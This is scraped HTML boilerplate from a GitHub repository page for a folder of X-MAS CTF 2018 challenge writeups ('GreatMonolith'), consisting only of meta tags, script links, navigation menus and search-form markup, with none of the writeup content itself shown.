content="https://opengraph.githubassets.com/e062d5290d63086d1dce57cea038e592a12643ca84c5ac5cd41cf88403f29208/serega6531/XmasCtf2018Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="XmasCtf2018Writeups/GreatMonolith at master · serega6531/XmasCtf2018Writeups" /><meta name="twitter:description" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/e062d5290d63086d1dce57cea038e592a12643ca84c5ac5cd41cf88403f29208/serega6531/XmasCtf2018Writeups" /><meta property="og:image:alt" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="XmasCtf2018Writeups/GreatMonolith at master · serega6531/XmasCtf2018Writeups" /><meta property="og:url" content="https://github.com/serega6531/XmasCtf2018Writeups" /><meta property="og:description" content="Contribute to serega6531/XmasCtf2018Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/serega6531/XmasCtf2018Writeups git https://github.com/serega6531/XmasCtf2018Writeups.git"> <meta name="octolytics-dimension-user_id" content="4551398" /><meta name="octolytics-dimension-user_login" content="serega6531" /><meta name="octolytics-dimension-repository_id" content="162837579" /><meta name="octolytics-dimension-repository_nwo" content="serega6531/XmasCtf2018Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="162837579" /><meta name="octolytics-dimension-repository_network_root_nwo" content="serega6531/XmasCtf2018Writeups" /> <link rel="canonical" href="https://github.com/serega6531/XmasCtf2018Writeups/tree/master/GreatMonolith" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="162837579" data-scoped-search-url="/serega6531/XmasCtf2018Writeups/search" data-owner-scoped-search-url="/users/serega6531/search" data-unscoped-search-url="/search" data-turbo="false" action="/serega6531/XmasCtf2018Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="OLkcBe4Q+DfvdTM59LR68jWupyt9f+Cm9xQ94VkO1e5hbD1SvW6SdZ9Q20P4jx0w8oZdEvwgZ7T+uHwY/o53dg==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo 